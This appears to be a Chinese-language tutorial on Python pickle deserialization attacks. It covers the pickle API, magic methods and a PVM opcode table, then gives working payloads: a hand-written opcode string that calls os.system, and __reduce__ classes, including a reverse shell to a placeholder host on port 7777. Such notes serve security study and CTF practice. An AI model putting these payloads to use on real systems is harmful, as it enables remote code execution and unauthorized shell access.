详解:https://zhuanlan.zhihu.com/p/89132768

1.相关函数

1
2
3
4
pickle.dump(obj, file) :将对象序列化后保存到文件。#注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file) :读取文件,将文件中的序列化内容反序列化为对象。#注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj) :将对象序列化成字符串格式的字节流。
pickle.loads(bytes_obj) :将字符串格式的字节流反序列化为对象。

2.Python魔术方法

1
2
3
4
__reduce__() :反序列化时调用。
__reduce_ex__() :反序列化时调用。
__setstate__() :反序列化时调用。
__getstate__() :序列化时调用。

3.PVM(Python虚拟机)

  • 生成操作码序列 : pickle模块在序列化Python对象时,会生成一系列操作码(opcode)来表示对象的类型和值

  • 反序列化操作码 : 在反序列化时,pickle模块读取操作码序列,并将其解释为Python对象

  • 执行操作码

  • 构造Python对象

4.opcode

通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到

常用的opcode:

指令 描述 具体写法 栈上的变化
c 取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

5.漏洞利用

常出现位置:

  1. 通常在解析认证token, session的时候. 现在很多Web服务都使用redis、mongodb、memcached等来存储session等状态信息

  2. 可能将对象Pickle后存储成磁盘文件

  3. 可能将对象Pickle后在网络中传输

利用opcode

例:

1
2
3
opcode=b'''cos
system(S'ls'
tR.'''

详解:

1
2
3
4
5
6
7
8
cos
system #这两行,字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack

(S'ls' #字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack

tR. #字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')

#字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值

也可以使用picker:https://github.com/eddieivan01/pker

利用魔术方法(__reduce__())

反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码

__reduce__()类似于php中的__wakeup()魔术方法

  • 构造payload:利用os.system()或者os.popen()

这两个函数只有以print输出时才会回显,如果是以return返回的就不会显示结果。

不能回显,可以将执行结果接入一个文件,再访问:

1
2
3
4
5
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" #要执行的命令
return os.system, (s,)
  • 反弹shell:
1
2
3
4
5
6
7
8
9
10
11
import os
import urllib

class reverse(object):
def __reduce__(self):
a="""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
"""
return (os.system,(a,))#或是return(os.system,('bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1"',))
a = reverse()
print(urllib.quote(pickle.dumps(a)))

:不同操作系统pickle反序列化结果有略微差别,所以需要根据环境决定在哪里序列化出字符串